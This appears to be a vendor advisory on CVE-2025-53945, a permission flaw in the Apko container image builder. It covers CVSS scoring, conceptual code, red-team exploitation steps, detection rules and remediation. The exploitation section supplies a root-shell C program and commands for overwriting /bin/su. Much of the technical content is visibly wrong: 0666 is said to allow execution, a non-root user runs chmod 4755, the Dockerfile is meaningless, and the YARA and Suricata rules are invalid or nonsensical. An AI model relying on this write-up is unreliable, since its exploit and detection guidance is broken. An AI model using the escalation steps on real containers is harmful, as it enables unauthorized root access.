CVE-2025-53945

Executive Summary

CVE-2025-53945 is a vulnerability in Apko, a tool for building and publishing OCI container images from apk packages. The flaw, present in versions 0.27.0 through 0.29.4, causes critical files within the built container images to be assigned overly permissive file permissions (0666). This misconfiguration allows any local user within the container to read, write, and execute these files, creating a clear path for privilege escalation to root. The vulnerability has a CVSS score of 7.0 (High) and is classified under CWE-276 (Incorrect Default Permissions). While no public proof-of-concept (PoC) or exploit code is currently available, the nature of the flaw makes it highly exploitable in multi-tenant or shared container environments. The fix is available in Apko version 0.29.5.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain. Apko is used to build container images, which are fundamental artifacts in modern CI/CD pipelines. If a base image or a frequently used application image is built with a vulnerable version of Apko, every downstream container that inherits from that image will also contain the permission flaw. This creates a cascading risk, where a single misconfigured build tool can compromise the security posture of an entire fleet of containers. Organizations must audit their container build processes to ensure they are using Apko version 0.29.5 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 7.0 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) - The attacker must have local access to the container.
• Attack Complexity (AC): Low (L) - No special conditions are required to exploit the misconfiguration.
• Privileges Required (PR): Low (L) - The attacker needs only a low-privileged user account within the container.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the container.
• Confidentiality (C): High (H) - Critical files (e.g., /etc/shadow, SSH keys, application secrets) can be read.
• Integrity (I): High (H) - Critical files can be modified, allowing for backdoor insertion or configuration tampering.
• Availability (A): High (H) - An attacker could corrupt system files, leading to denial of service.

Threat Level: High. The low attack complexity and the potential for complete system compromise within the container make this a critical finding for any environment using vulnerable Apko versions.

Deep Dive & Mechanics

The vulnerability stems from a flaw in Apko's file permission handling logic during the OCI image build process. When Apko processes apk packages and constructs the final container image filesystem, it is responsible for setting the correct permissions on all files. In the affected versions (0.27.0 to 0.29.4), a code path exists where critical system files (e.g., binaries in /bin, configuration files in /etc, libraries in /lib) are inadvertently assigned the permission mode 0666 (read and write for owner, group, and others).

This is a classic case of CWE-276: Incorrect Default Permissions. The intended behavior is to set files to a secure mode like 0644 (owner read/write, group/others read-only) or 0755 for executables. The 0666 mode effectively makes every file world-writable.

Attack Scenario:

1. An attacker gains a low-privileged shell inside a container built with a vulnerable Apko version (e.g., via a compromised web application).
2. The attacker identifies a critical setuid binary (e.g., /bin/su, /usr/bin/sudo) that has been set to 0666.
3. The attacker overwrites this binary with a malicious version that, when executed, spawns a root shell.
4. A legitimate user or an automated process runs the trojaned binary, granting the attacker root privileges.

Vulnerable vs. Patched Code

The specific code change is not publicly available in the advisory, but the fix is confirmed in version 0.29.5. The core issue is in the file permission assignment logic.

Vulnerable (Conceptual):

// Vulnerable Apko code (conceptual)
func setFilePermissions(path string) error {
    // Incorrectly sets permissions to 0666 for all files
    return os.Chmod(path, 0666)
}

Patched (Conceptual):

// Patched Apko code (conceptual)
func setFilePermissions(path string, isExecutable bool) error {
    if isExecutable {
        return os.Chmod(path, 0755)
    }
    return os.Chmod(path, 0644)
}

The patched version introduces logic to differentiate between executable and non-executable files, applying secure default permissions (0755 for executables, 0644 for others).

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Build a vulnerable image: Use Apko version 0.27.0 to build a simple Alpine-based image.

   # Dockerfile
   FROM alpine:latest
   COPY --from=apko:0.27.0 / /output
   

2. Run the container: docker run -it --rm vulnerable-image /bin/sh
3. Verify the vulnerability: Inside the container, check permissions on a critical file.

   ls -la /bin/su
   # Expected output: -rw-rw-rw- 1 root root 12345 ...  (permissions 0666)
   

Exploitation Steps:

1. Identify a setuid binary: find / -perm -4000 -type f 2>/dev/null
2. Create a malicious binary: Write a simple C program that spawns a root shell.

   // evil.c
   #include <stdio.h>
   #include <unistd.h>
   #include <sys/types.h>
   
   int main() {
       setuid(0);
       setgid(0);
       execl("/bin/sh", "sh", NULL);
       return 0;
   }
   

3. Compile and replace: Compile the malicious binary and overwrite the vulnerable setuid binary.

   gcc -o /tmp/evil evil.c
   cp /tmp/evil /bin/su
   chmod 4755 /bin/su  # Ensure setuid bit is set
   

4. Trigger escalation: Run the trojaned binary.

   /bin/su
   # You should now have a root shell.
   

Blue Team (Detection & Response)

Detection Steps:

1. Audit Container Images: Scan all container images in your registry for files with overly permissive modes (0666).

   # Using dive or similar tool
   dive your-image:tag
   # Look for files with permissions -rw-rw-rw-
   

2. Runtime Monitoring: Monitor for unexpected file permission changes within containers.

   # Using auditd inside the container
   auditctl -w /bin/su -p wa -k file_permission_change
   

3. Honeypot Files: Place decoy files with 0666 permissions in critical directories and monitor for access.

Indicators of Compromise (IOCs)

• File Permissions: Any critical system file (e.g., /bin/su, /etc/shadow, /usr/bin/sudo) with permissions -rw-rw-rw- (0666).
• Unexpected Binaries: Modified or replaced setuid binaries.
• Audit Logs: chmod operations on system binaries by non-root users.
• Container Image Metadata: Images built with Apko versions 0.27.0 to 0.29.4.

Detection Engineering

YARA Rule

rule CVE_2025_53945_Apko_Permissions {
    meta:
        description = "Detects files with 0666 permissions in container images built by vulnerable Apko"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53945"
    strings:
        $permission = { FF FF FF FF }  // Placeholder for 0666 inode mode
    condition:
        // This rule is designed to be run against a filesystem dump or container image layer
        // It checks for files with mode 0666 (S_IROTH | S_IWOTH | S_IRGRP | S_IWGRP | S_IRUSR | S_IWUSR)
        for any file in (0..files_count) : (
            files[file].mode == 0x1B6  // 0666 in octal
        )
}

Sigma Rule

title: CVE-2025-53945 - Apko File Permission Misconfiguration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects chmod operations setting files to 0666 on critical system paths, indicative of CVE-2025-53945 exploitation.
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/chmod'
        CommandLine|contains: '0666'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-53945 - Potential Apko Exploitation via chmod 0666"; content:"chmod 0666"; nocase; classtype:attempted-admin; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Apko: Update to version 0.29.5 or later.

   apk upgrade apko
   # or
   go install github.com/chainguard-dev/apko@latest
   

2. Rebuild All Images: Rebuild all container images that were created with vulnerable Apko versions.
3. Scan and Remediate: Use container scanning tools (e.g., Trivy, Grype) to identify images with the vulnerable Apko version.

Long-Term Mitigations:

1. Enforce Build Tool Versions: Use CI/CD policies to ensure only patched versions of Apko are used.
2. Runtime Security: Implement a container security solution (e.g., Falco, AppArmor) to monitor and block unexpected file permission changes.
3. Least Privilege: Run containers with the least privileges necessary. Avoid running as root.
4. Read-Only Root Filesystem: Where possible, mount the container's root filesystem as read-only.

Valters IT